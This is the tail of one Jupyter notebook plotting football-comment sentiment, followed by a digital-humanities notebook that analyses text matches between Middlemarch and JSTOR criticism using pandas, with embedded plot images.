RtH8PRo0cxa9YsRbcvXLgQ3333ndvXs35Meno6\n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\n", "text": [ "<matplotlib.figure.Figure at 0x7f42229270b8>" ] } ], "prompt_number": 12 }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "Number of comments\n", "\n", "# Get number of comments per minute\n", "commentnumber = df.groupby(pd.TimeGrouper(freq='1min')).count()\n", "# Plot weighted figure\n", "fig,ax,axtop = plot_sentiment_figure(commentnumber,match_events,opposition)\n", "ax.set_ylabel('Comments per minute')\n", "ax.set_ylim([0,ax.get_ylim()[1]])\n", "fig.tight_layout()\n", "# Save\n", "fig.savefig('./figures/numberofcomments_' + analysis_name + '.png',dpi=300)\n", "fig.savefig('./figures/numberofcomments_' + analysis_name + '.pdf',dpi=300)" ] } ], "metadata": {} } ] }

mit

xpmethod/middlemarch-critical-histories

old/e0/e0d.ipynb

2

94206

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Experiment 0-D\n", "\n", "This experiment used 483 texts scraped from JSTOR, which have 280 files with text matches. In an effort to make the corpus more diachronic, some of these texts were scraped from decade-based searches, i.e. a search for the keyword \"Middlemarch\" in articles from 1930 to 1939. This experiment was conducted with text-matcher 0.1.4, which fixes the issue with matches cutting off too early. It also uses a threshold of 6 words, in an attempt to avoid false positives. " ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "import pandas as pd\n", "%matplotlib inline\n", "from ast import literal_eval\n", "import numpy as np\n", "import re\n", "from matplotlib import pyplot as plt\n", "plt.rcParams[\"figure.figsize\"] = [16, 6]" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Read in the experiment results from the text-matcher log file. \n", "df = pd.read_csv('e0d/log.txt')" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false }, "outputs": [], "source": [ "def getDate(filename): \n", " \"\"\"\n", " Extract dates from filenames. \n", " \"\"\"\n", " m = re.search('_(\\d{4})_', filename)\n", " if m is not None: \n", " return int(m.group(1))\n", " else:\n", " return None\n", "\n", "df['Date'] = df['Text B'].apply(getDate)\n", "df['Decade'] = df['Date'] - (df['Date'] % 10)" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Text A</th>\n", " <th>Text B</th>\n", " <th>Threshold</th>\n", " <th>N-Grams</th>\n", " <th>Num Matches</th>\n", " <th>Text A Length</th>\n", " <th>Text B Length</th>\n", " <th>Locations in A</th>\n", " <th>Locations in B</th>\n", " <th>Date</th>\n", " <th>Decade</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td>middlemarch.txt</td>\n", " <td>e0b/e0b-txt/WOLFE_2002_IRIS MURDOCH APPLIED TO...</td>\n", " <td>6</td>\n", " <td>3</td>\n", " <td>17</td>\n", " <td>1793446</td>\n", " <td>43119</td>\n", " <td>[(539109, 539353), (539391, 539432), (539504, ...</td>\n", " <td>[(26234, 26478), (26481, 26521), (26567, 26802...</td>\n", " <td>2002.0</td>\n", " <td>2000.0</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>middlemarch.txt</td>\n", " <td>e0b/e0b-txt/Hardy_1954_The Moment of Disenchan...</td>\n", " <td>6</td>\n", " <td>3</td>\n", " <td>3</td>\n", " <td>1793446</td>\n", " <td>20226</td>\n", " <td>[(580711, 580936), (580948, 581020), (1691325,...</td>\n", " <td>[(9662, 9886), (9897, 9969), (19879, 20002)]</td>\n", " <td>1954.0</td>\n", " <td>1950.0</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td>middlemarch.txt</td>\n", " <td>e0b/e0b-txt/MORRIS_1990_THE DIALOGIC UNIVERSE ...</td>\n", " <td>6</td>\n", " <td>3</td>\n", " <td>21</td>\n", " <td>1793446</td>\n", " <td>47530</td>\n", " <td>[(1615, 1964), (29948, 30025), (40132, 40256),...</td>\n", " <td>[(4254, 4605), (5612, 5690), (6239, 6364), (75...</td>\n", " <td>1990.0</td>\n", " <td>1990.0</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td>middlemarch.txt</td>\n", " <td>e0b/e0b-txt/Guth_1999_George Eliot and Schille...</td>\n", " <td>6</td>\n", " <td>3</td>\n", " <td>5</td>\n", " <td>1793446</td>\n", " <td>46745</td>\n", " <td>[(8798, 8850), (8870, 8930), (83611, 83687), (...</td>\n", " <td>[(18049, 18101), (18127, 18188), (19244, 19319...</td>\n", " <td>1999.0</td>\n", " <td>1990.0</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td>middlemarch.txt</td>\n", " <td>e0b/e0b-txt/Payne_1999_The Serialist Vanishes.txt</td>\n", " <td>6</td>\n", " <td>3</td>\n", " <td>4</td>\n", " <td>1793446</td>\n", " <td>60072</td>\n", " <td>[(345200, 345488), (1608886, 1609417), (161169...</td>\n", " <td>[(4009, 4298), (25511, 26041), (26698, 26767),...</td>\n", " <td>1999.0</td>\n", " <td>1990.0</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Text A Text B \\\n", "0 middlemarch.txt e0b/e0b-txt/WOLFE_2002_IRIS MURDOCH APPLIED TO... \n", "1 middlemarch.txt e0b/e0b-txt/Hardy_1954_The Moment of Disenchan... \n", "2 middlemarch.txt e0b/e0b-txt/MORRIS_1990_THE DIALOGIC UNIVERSE ... \n", "3 middlemarch.txt e0b/e0b-txt/Guth_1999_George Eliot and Schille... \n", "4 middlemarch.txt e0b/e0b-txt/Payne_1999_The Serialist Vanishes.txt \n", "\n", " Threshold N-Grams Num Matches Text A Length Text B Length \\\n", "0 6 3 17 1793446 43119 \n", "1 6 3 3 1793446 20226 \n", "2 6 3 21 1793446 47530 \n", "3 6 3 5 1793446 46745 \n", "4 6 3 4 1793446 60072 \n", "\n", " Locations in A \\\n", "0 [(539109, 539353), (539391, 539432), (539504, ... \n", "1 [(580711, 580936), (580948, 581020), (1691325,... \n", "2 [(1615, 1964), (29948, 30025), (40132, 40256),... \n", "3 [(8798, 8850), (8870, 8930), (83611, 83687), (... \n", "4 [(345200, 345488), (1608886, 1609417), (161169... \n", "\n", " Locations in B Date Decade \n", "0 [(26234, 26478), (26481, 26521), (26567, 26802... 2002.0 2000.0 \n", "1 [(9662, 9886), (9897, 9969), (19879, 20002)] 1954.0 1950.0 \n", "2 [(4254, 4605), (5612, 5690), (6239, 6364), (75... 1990.0 1990.0 \n", "3 [(18049, 18101), (18127, 18188), (19244, 19319... 1999.0 1990.0 \n", "4 [(4009, 4298), (25511, 26041), (26698, 26767),... 1999.0 1990.0 " ] }, "execution_count": 4, "metadata": {}, "output_type": "execute_result" } ], "source": [ "df.head()" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "<matplotlib.axes._subplots.AxesSubplot at 0x7fb92813dda0>" ] }, "execution_count": 5, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAABRQAAAH/CAYAAAAmKlG6AAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAAPYQAAD2EBqD+naQAAIABJREFUeJzs3X+MX/t91/nXJ1ya1kUpFUkaKhg2/Ej27rKCzIRSL6FF\nt2W63IrvFkW6t969QrXbFUW2FWVX49xqW3kuaLXYiCbUNrv8MWq3e8P4tqk6FDbb3JKqXbkFIjzZ\n7iLsSLApA00aOlBIlOEm9ObsHzOXeMZOcsbn+B6/jx8PaZTrM9+Z7/uj7/NOnHe+3/m2rusCAAAA\nANDHa6YeAAAAAACow0IRAAAAAOjNQhEAAAAA6M1CEQAAAADozUIRAAAAAOjNQhEAAAAA6M1CEQAA\nAADozUIRAAAAAOjNQhEAAAAA6M1CEQAAAADo7VgLxdbax1trX7jHx5WDz7+2tXattbbbWvtMa+0D\nrbU3PpjRAQAAAIBX23Gfofj2JG+64+NPJ+mS/MTB59+X5DuTvDPJtyT5xiQ/NcqkAAAAAMDkWtd1\n9//Frb0vyZNd172ltfa6JL+R5Lu7rvvpg8+/NcmtJN/cdd1HxhgYAAAAAJjOff8Oxdbab0/y3ybZ\nOLj09iSPJfnwK7fpuu5jSXaSnBwwIwAAAADwkHhswNf+uSRfl+R/O/jzNyT5fNd1nz5yu09l/+XR\n99Ra+11JviPJryZ5acA8AAAAAPAo+uok/0mSD3Vd968f9J0NWSieSfJ/dl3361/hdi37v2fxS/mO\nJO8fMAcAAAAAsP9q4r/1oO/kvhaKrbWlJN+e5LvuuPzrSb6qtfa6I89SfGP2n6X4pfxqkjz//PN5\n/PHH72ccmNy73/3uvPe97516DLhvGmYOdEx1GqY6DVOdhqns1q1beeaZZ5KDPduDdr/PUDyT/SXh\nB++4djPJbyX5tiSvvCnLW5IsJfn7X+Z7vZQkjz/+eJaXl+9zHJjW133d1+mX0jTMHOiY6jRMdRqm\nOg0zE6/KrxM89kKxtdaSfE+SH+u67guvXO+67tOttY0kP9xa+80kn0nyI0l+yTs8M3cf+YjEqU3D\nzIGOqU7DVKdhqtMw9Hc/z1D89iS/N8mP3uNz707ycpIPJHltkp9Ncva+p4Mi3vzmN089AgyiYeZA\nx1SnYarTMNVpGPo79kKx67qfS/LbvsTnPpfk/MEHPDLe8IY3TD0CDKJh5kDHVKdhqtMw1WkY+nvN\n1APAHJw6dWrqEWAQDTMHOqY6DVOdhqlOw9Bf67pu2gFaW05y8+bNm375KQAAAAAc0/b2dlZWVpJk\npeu67Qd9f56hCCPY2tqaegQYRMPMgY6pTsNUp2Gq0zD0Z6EII9jc3Jx6BBhEw8yBjqlOw1SnYarT\nMPTnJc8AAAAAUJiXPAMAAAAADy0LRQAAAACgNwtFAAAAAKA3C0UYwenTp6ceAQbRMHOgY6rTMNVp\nmOo0DP1ZKMIIVldXpx4BBtEwc6BjqtMw1WmY6jQM/XmXZwAAAAAozLs8AwAAAAAPLQtFAAAAAKC3\nx6YeAObgxo0becc73jH1GHDfNMwc6JjqNEx1Gh7Pzs5Odnd3px7jkfPRj340b3vb2x7Y93/961+f\npaWlB/b94dVkoQgjuHz5sr88UZqGmQMdU52GqU7D49jZ2clb3/p4Xnppb+pRGNlXf/WJfOxjtywV\nmQULRRjB9evXpx4BBtEwc6BjqtMw1Wl4HLu7uwfLxOeTPD71OI+Yf5/kax7Q976Vl156Jru7uxaK\nzIKFIozgxIkTU48Ag2iYOdAx1WmY6jQ8tseTLE89BMA9eVMWAAAAAKA3C0UAAAAAoDcLRRjB2tra\n1CPAIBpmDnRMdRqmOg1Tn4ahLwtFGIFfqkt1GmYOdEx1GqY6DVOfhqGv1nXdtAO0tpzk5s2bN7O8\n7BfOAgAA8Oja3t7OyspKkpvxpixzsp1kJXYfPChf/NmRla7rth/0/XmGIgAAAADQm4UiAAAAANCb\nhSKM4Pbt21OPAINomDnQMdVpmOo0TH0ahr4sFGEEFy5cmHoEGETDzIGOqU7DVKdh6tMw9GWhCCO4\nevXq1CPAIBpmDnRMdRqmOg1Tn4ahr8emHgDmYGlpaeoRYBANMwc6pjoNU52Gqe/BN3zr1q0Hfh+8\nul7/+tc/kj//LBQBAAAAHqhPJnlNnnnmmakHYWRf/dUn8rGP3XrklooWigAAAAAP1L9N8oUkzyd5\nfOJZGM+tvPTSM9nd3bVQBI7v0qVLec973jP1GHDfNMwc6JjqNEx1Gqa+S0kedMOPJ1l+wPcBD543\nZYER7O3tTT0CDKJh5kDHVKdhqtMw9WkY+mpd1007QGvLSW7evHkzy8u29AAAADy6tre3s7KykuRm\nPJNtTt6f5Jl4XOdmO8lKHoad1hd/dmSl67rtB31/nqEIAAAAAPRmoQgAAAAA9GahCCPY3d2degQY\nRMPMgY6pTsNUp2Hq0zD0ZaEIIzhz5szUI8AgGmYOdEx1GqY6DVOfhqEvC0UYwfr6+tQjwCAaZg50\nTHUapjoNU9/61ANAGRaKMIKp380JhtIwc6BjqtMw1WmY+jQMfVkoAgAAAAC9WSgCAAAAAL1ZKMII\nNjY2ph4BBtEwc6BjqtMw1WmY+jQMfVkowgi2t7enHgEG0TBzoGOq0zDVaZj6NAx9WSjCCK5duzb1\nCDCIhpkDHVOdhqlOw9SnYejLQhEAAAAA6M1CEQAAAADozUIRAAAAAOjNQhFGsFgsph4BBtEwc6Bj\nqtMw1WmY+jQMfVkowgjOnTs39QgwiIaZAx1TnYapTsPUp2Hoy0IRRrC6ujr1CDCIhpkDHVOdhqlO\nw9SnYejLQhEAAAAA6M1CEQAAAADozUIRRrC1tTX1CDCIhpkDHVOdhqlOw9SnYejLQhFGsLm5OfUI\nMIiGmQMdU52GqU7D1Kdh6MtCEUbwwgsvTD0CDKJh5kDHVKdhqtMw9WkY+jr2QrG19o2ttf+9tbbb\nWttrrf1Ka235yG3+UmvtEwef/7nW2h8cb2QAAAAAYCrHWii21n5nkl9K8rkk35Hk8ST/Q5LfvOM2\n70lyLslfSPJNST6b5EOtta8aaWYAAAAAYCKPHfP2zybZ6bru++649s+P3OZdSf5y13V/J0laa38+\nyaeSfFeSn7jfQQEAAACA6R33Jc9/Nsk/aq39RGvtU6217dbaf1wuttbenORNST78yrWu6z6d5B8m\nOTnGwPAwOn369NQjwCAaZg50THUapjoNU5+Goa/jLhR/f5K/mORjSVaT/K9JfqS19szB59+UpMv+\nMxLv9KmDz8Esra6uTj0CDKJh5kDHVKdhqtMw9WkY+jruS55fk+QjXdf90MGff6W19p9nf8n4/Jf5\nupb9RSPM0qlTp6YeAQbRMHOgY6rTMNVpmPo0DH0d9xmKn0xy68i1W0mWDv7517O/PPyGI7d5Y+5+\n1uIhTz75ZBaLxaGPkydPZmtr69DtXnzxxSwWi7u+/uzZs9nY2Dh0bXt7O4vFIru7u4euX7x4MZcu\nXTp0bWdnJ4vFIrdv3z50/cqVK1lbWzt0bW9vL4vFIjdu3Dh0fXNz855P83/66aedwzmcwzmcwzmc\nwzmcwzmcwzmcwzm+4jmO3jbZTrJIsnvk+sUkl45c2zm47e0j168kWTtybe/gtjeOXN/MvV/6+3SS\no7O9ePA9jjqbZOPINef4Iuf4onmc49lnn31Vf16trKzkiSeeOLRDe+qpp+66rwepdV3/Jw621t6f\n5Pd0Xfetd1x7b5I/1nXdOw7+/Ikkf7Xruvce/Pl12V8m/vmu637yHt9zOcnNmzdvZnl5edBhAAAA\noLLt7e2srKwkuZnE/0aej/cneSYe17nZTrKSh2Gn9cWfHVnpum77Qd/fcZ+h+N4k39xa+4HW2h9o\nrf03Sb4vydU7bvO+JD/YWvuzrbX/IsmPJ/mXSf72KBPDQ+jo/zsJ1WiYOdAx1WmY6jRMfRqGvo61\nUOy67h8l+XPZ/8UC/2+S/zHJu7quu37HbS5n//mifzP77+78NUn+TNd1nx9raHjYXL58eeoRYBAN\nMwc6pjoNU52GqU/D0Ndx35QlXdd9MMkHv8Jt1pOs399IUM/169e/8o3gIaZh5kDHVKdhqtMw9WkY\n+jruS56Bezhx4sTUI8AgGmYOdEx1GqY6DVOfhqEvC0UAAAAAoDcLRQAAAACgNwtFGMHa2trUI8Ag\nGmYOdEx1GqY6DVOfhqEvC0UYwdLS0tQjwCAaZg50THUapjoNU5+GoS8LRRjB+fPnpx4BBtEwc6Bj\nqtMw1WmY+jQMfVkoAgAAAAC9WSgCAAAAAL1ZKMIIbt++PfUIMIiGmQMdU52GqU7D1Kdh6MtCEUZw\n4cKFqUeAQTTMHOiY6jRMdRqmPg1DXxaKMIKrV69OPQIMomHmQMdUp2Gq0zD1aRj6slCEESwtLU09\nAgyiYeZAx1SnYarTMPVpGPqyUAQAAAAAerNQBAAAAAB6e2zqAWAOLl26lPe85z1TjwH3TcPMgY6p\nTsPcj52dnezu7k49RpLkx37sx/I93/M9U49R3q1bt6Ye4RF2KYmfw9CHhSKMYG9vb+oRYBANMwc6\npjoNc1w7Ozt561sfz0svPTztXLlyZeoRYICH598leNhZKMIInnvuualHgEE0zBzomOo0zHHt7u4e\nLBOfT/L41OMwmg8m+aGph3hE+TkMfVkoAgAAlPZ4kuWph2A0XvIMPPy8KQsAAAAA0JuFIozgYflF\n2HC/NMwc6JjqNEx9GqY6DUNfFoowgjNnzkw9AgyiYeZAx1SnYerTMNVpGPqyUIQRrK+vTz0CDKJh\n5kDHVKdh6lufegAYaH3qAaAMC0UYwfKyX4JNbRpmDnRMdRqmPg1TnYahLwtFAAAAAKA3C0UAAAAA\noDcLRRjBxsbG1CPAIBpmDnRMdRqmPg1TnYahLwtFGMH29vbUI8AgGmYOdEx1GqY+DVOdhqEvC0UY\nwbVr16YeAQbRMHOgY6rTMPVpmOo0DH1ZKAIAAAAAvVkoAgAAAAC9WSgCAAAAAL1ZKMIIFovF1CPA\nIBpmDnRMdRqmPg1TnYahLwtFGMG5c+emHgEG0TBzoGOq0zD1aZjqNAx9WSjCCFZXV6ceAQbRMHOg\nY6rTMPVpmOo0DH1ZKAIAAAAAvVkoAgAAAAC9WSjCCLa2tqYeAQbRMHOgY6rTMPVpmOo0DH1ZKMII\nNjc3px4BBtEwc6BjqtMw9WmY6jQMfVkowgheeOGFqUeAQTTMHOiY6jRMfRqmOg1DXxaKAAAAAEBv\nj009AAAA8OrY2dnJ7u7u1GMwklu3bk09AgCP